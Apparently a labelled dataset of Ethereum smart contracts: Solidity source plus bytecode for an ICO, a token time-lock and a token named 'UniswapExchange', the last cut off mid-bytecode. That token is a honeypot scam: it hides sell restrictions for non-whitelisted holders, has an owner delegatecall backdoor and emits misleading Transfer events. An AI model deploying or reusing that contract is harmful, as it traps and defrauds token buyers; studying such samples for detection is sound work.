pragma solidity ^0.4.21; /** * An interface providing the necessary Beercoin functionality */ interface Beercoin { function transfer(address _to, uint256 _amount) external; function balanceOf(address _owner) external view returns (uint256); function decimals() external pure returns (uint8); } /** * A contract that defines owner and guardians of the ICO */ contract GuardedBeercoinICO { address public owner; address public constant guardian1 = 0x7d54aD7DA2DE1FD3241e1c5e8B5Ac9ACF435070A; address public constant guardian2 = 0x065a6D3c1986E608354A8e7626923816734fc468; address public constant guardian3 = 0x1c387D6FDCEF351Fc0aF5c7cE6970274489b244B; address public guardian1Vote = 0x0; address public guardian2Vote = 0x0; address public guardian3Vote = 0x0; /** * Restrict to the owner only */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * Restrict to guardians only */ modifier onlyGuardian() { require(msg.sender == guardian1 || msg.sender == guardian2 || msg.sender == guardian3); _; } /** * Construct the GuardedBeercoinICO contract * and make the sender the owner */ function GuardedBeercoinICO() public { owner = msg.sender; } /** * Declare a new owner * * @param newOwner the new owner's address */ function setOwner(address newOwner) onlyGuardian public { if (msg.sender == guardian1) { if (newOwner == guardian2Vote || newOwner == guardian3Vote) { owner = newOwner; guardian1Vote = 0x0; guardian2Vote = 0x0; guardian3Vote = 0x0; } else { guardian1Vote = newOwner; } } else if (msg.sender == guardian2) { if (newOwner == guardian1Vote || newOwner == guardian3Vote) { owner = newOwner; guardian1Vote = 0x0; guardian2Vote = 0x0; guardian3Vote = 0x0; } else { guardian2Vote = newOwner; } } else if (msg.sender == guardian3) { if (newOwner == guardian1Vote || newOwner == guardian2Vote) { owner = newOwner; guardian1Vote = 0x0; guardian2Vote = 0x0; guardian3Vote = 0x0; } else { guardian3Vote = newOwner; } } } } /** * A contract that defines the Beercoin ICO */ contract BeercoinICO is GuardedBeercoinICO { Beercoin internal beercoin = Beercoin(0x7367A68039d4704f30BfBF6d948020C3B07DFC59); uint public constant price = 0.000006 ether; uint public constant softCap = 48 ether; uint public constant begin = 1526637600; // 2018-05-18 12:00:00 (UTC+01:00) uint public constant end = 1530395999; // 2018-06-30 23:59:59 (UTC+01:00) event FundTransfer(address backer, uint amount, bool isContribution); mapping(address => uint256) public balanceOf; uint public soldBeercoins = 0; uint public raisedEther = 0 ether; bool public paused = false; /** * Restrict to the time when the ICO is open */ modifier isOpen { require(now >= begin && now <= end && !paused); _; } /** * Restrict to the state of enough Ether being gathered */ modifier goalReached { require(raisedEther >= softCap); _; } /** * Restrict to the state of not enough Ether * being gathered after the time is up */ modifier goalNotReached { require(raisedEther < softCap && now > end); _; } /** * Transfer Beercoins to a user who sent Ether to this contract */ function() payable isOpen public { uint etherAmount = msg.value; balanceOf[msg.sender] += etherAmount; uint beercoinAmount = (etherAmount * 10**uint(beercoin.decimals())) / price; beercoin.transfer(msg.sender, beercoinAmount); soldBeercoins += beercoinAmount; raisedEther += etherAmount; emit FundTransfer(msg.sender, etherAmount, true); } /** * Transfer Beercoins to a user who purchased via other payment methods * * @param to the address of the recipient * @param beercoinAmount the amount of Beercoins to send */ function transfer(address to, uint beercoinAmount) isOpen onlyOwner public { beercoin.transfer(to, beercoinAmount); uint etherAmount = beercoinAmount * price; raisedEther += etherAmount; emit FundTransfer(msg.sender, etherAmount, true); } /** * Withdraw the sender's contributed Ether in case the goal has not been reached */ function withdraw() goalNotReached public { uint amount = balanceOf[msg.sender]; require(amount > 0); balanceOf[msg.sender] = 0; msg.sender.transfer(amount); emit FundTransfer(msg.sender, amount, false); } /** * Withdraw the contributed Ether stored in this contract * if the funding goal has been reached. */ function claimFunds() onlyOwner goalReached public { uint etherAmount = address(this).balance; owner.transfer(etherAmount); emit FundTransfer(owner, etherAmount, false); } /** * Withdraw the remaining Beercoins in this contract */ function claimBeercoins() onlyOwner public { uint beercoinAmount = beercoin.balanceOf(address(this)); beercoin.transfer(owner, beercoinAmount); } /** * Pause the token sale */ function pause() onlyOwner public { paused = true; } /** * Resume the token sale */ function resume() onlyOwner public { paused = false; } }
0x60606040526004361061010e5763ffffffff60e060020a600035041663046f7da2811461029257806313af4035146102a757806314a1231f146102c65780631bce6ff3146102f55780633ccfd60b1461031a5780635c975abb1461032d5780635cf5e38614610354578063603d1b981461036757806370a082311461037a5780637d9d972d146103995780638456cb59146103ac5780638da5cb5b146103bf578063906a26e0146103d2578063a035b1fe146103e5578063a559217c146103f8578063a70284be1461040b578063a9059cbb1461041e578063ac30777314610440578063b6f46b6114610453578063ea5b561f14610466578063efbe1c1c14610479578063f006228c1461048c575b600080635afea42042101580156101295750635b37fd5f4211155b8015610138575060085460ff16155b151561014357600080fd5b600160a060020a0333811660009081526005602052604090819020805434908101909155600454909450650574fbde600092169063313ce56790518163ffffffff1660e060020a028152600401602060405180830381600087803b15156101a957600080fd5b5af115156101b657600080fd5b5050506040518051905060ff16600a0a83028115156101d157fe5b6004549190049150600160a060020a031663a9059cbb338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561022c57600080fd5b5af1151561023957600080fd5b50506006805483019055506007805483019055600080516020610c3983398151915233836001604051600160a060020a039093168352602083019190915215156040808301919091526060909101905180910390a15050005b341561029d57600080fd5b6102a561049f565b005b34156102b257600080fd5b6102a5600160a060020a03600435166104c6565b34156102d157600080fd5b6102d961079a565b604051600160a060020a03909116815260200160405180910390f35b341561030057600080fd5b6103086107a9565b60405190815260200160405180910390f35b341561032557600080fd5b6102a56107b1565b341561033857600080fd5b61034061088a565b604051901515815260200160405180910390f35b341561035f57600080fd5b6102d9610893565b341561037257600080fd5b6102d96108ab565b341561038557600080fd5b610308600160a060020a03600435166108c3565b34156103a457600080fd5b6102d96108d5565b34156103b757600080fd5b6102a56108e4565b34156103ca57600080fd5b6102d961090e565b34156103dd57600080fd5b61030861091d565b34156103f057600080fd5b61030861092a565b341561040357600080fd5b610308610934565b341561041657600080fd5b61030861093a565b341561042957600080fd5b6102a5600160a060020a0360043516602435610940565b341561044b57600080fd5b6102a5610a52565b341561045e57600080fd5b6102a5610b14565b341561047157600080fd5b6102d9610c09565b341561048457600080fd5b610308610c18565b341561049757600080fd5b6102d9610c20565b60005433600160a060020a039081169116146104ba57600080fd5b6008805460ff19169055565b33600160a060020a0316737d54ad7da2de1fd3241e1c5e8b5ac9acf435070a148061050d575033600160a060020a031673065a6d3c1986e608354a8e7626923816734fc468145b80610534575033600160a060020a0316731c387d6fdcef351fc0af5c7ce6970274489b244b145b151561053f57600080fd5b33600160a060020a0316737d54ad7da2de1fd3241e1c5e8b5ac9acf435070a141561060957600254600160a060020a038281169116148061058d5750600354600160a060020a038281169116145b156105db5760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199182161790915560018054821690556002805482169055600380549091169055610604565b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b610797565b33600160a060020a031673065a6d3c1986e608354a8e7626923816734fc46814156106d257600154600160a060020a03828116911614806106575750600354600160a060020a038281169116145b156106a55760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199182161790915560018054821690556002805482169055600380549091169055610604565b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055610797565b33600160a060020a0316731c387d6fdcef351fc0af5c7ce6970274489b244b141561079757600154600160a060020a03828116911614806107205750600254600160a060020a038281169116145b1561076e5760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199182161790915560018054821690556002805482169055600380549091169055610797565b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600254600160a060020a031681565b635afea42081565b600068029a2241af62c000006007541080156107d05750635b37fd5f42115b15156107db57600080fd5b50600160a060020a03331660009081526005602052604081205490811161080157600080fd5b600160a060020a0333166000818152600560205260408082209190915582156108fc0290839051600060405180830381858888f19350505050151561084557600080fd5b600080516020610c3983398151915233826000604051600160a060020a039093168352602083019190915215156040808301919091526060909101905180910390a150565b60085460ff1681565b73065a6d3c1986e608354a8e7626923816734fc46881565b737d54ad7da2de1fd3241e1c5e8b5ac9acf435070a81565b60056020526000908152604090205481565b600354600160a060020a031681565b60005433600160a060020a039081169116146108ff57600080fd5b6008805460ff19166001179055565b600054600160a060020a031681565b68029a2241af62c0000081565b650574fbde600081565b60075481565b60065481565b6000635afea420421015801561095a5750635b37fd5f4211155b8015610969575060085460ff16155b151561097457600080fd5b60005433600160a060020a0390811691161461098f57600080fd5b600454600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156109e557600080fd5b5af115156109f257600080fd5b505060078054650574fbde600085029081019091559150600080516020610c39833981519152905033826001604051600160a060020a039093168352602083019190915215156040808301919091526060909101905180910390a1505050565b6000805433600160a060020a03908116911614610a6e57600080fd5b60075468029a2241af62c00000901015610a8757600080fd5b50600054600160a060020a0330811631911681156108fc0282604051600060405180830381858888f193505050501515610ac057600080fd5b60008054600080516020610c3983398151915291600160a060020a03909116908390604051600160a060020a039093168352602083019190915215156040808301919091526060909101905180910390a150565b6000805433600160a060020a03908116911614610b3057600080fd5b600454600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610b8057600080fd5b5af11515610b8d57600080fd5b5050506040518051600454600054919350600160a060020a03908116925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610bf657600080fd5b5af11515610c0357600080fd5b50505050565b600154600160a060020a031681565b635b37fd5f81565b731c387d6fdcef351fc0af5c7ce6970274489b244b815600e842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf6a165627a7a72305820983c616b09f992a8c7531806735f67b86e60e1bc913c2c805648a938b27fcfb00029
[ 17 ]
0xf2d579ba9dd46730fd9ceb68bdc5c4e570a40a44
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27993600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xCe976662b83e3D3682c3cfF78499Cf8e98c73460; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820fa47b54709c8710e2fa6a3cd4b9dd4e61ec683747291a0bc49db7a9d8675864c0029
[ 16, 7 ]
0xf2d5b15c4501e8a1961407b3fb4542a095aec86e
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa5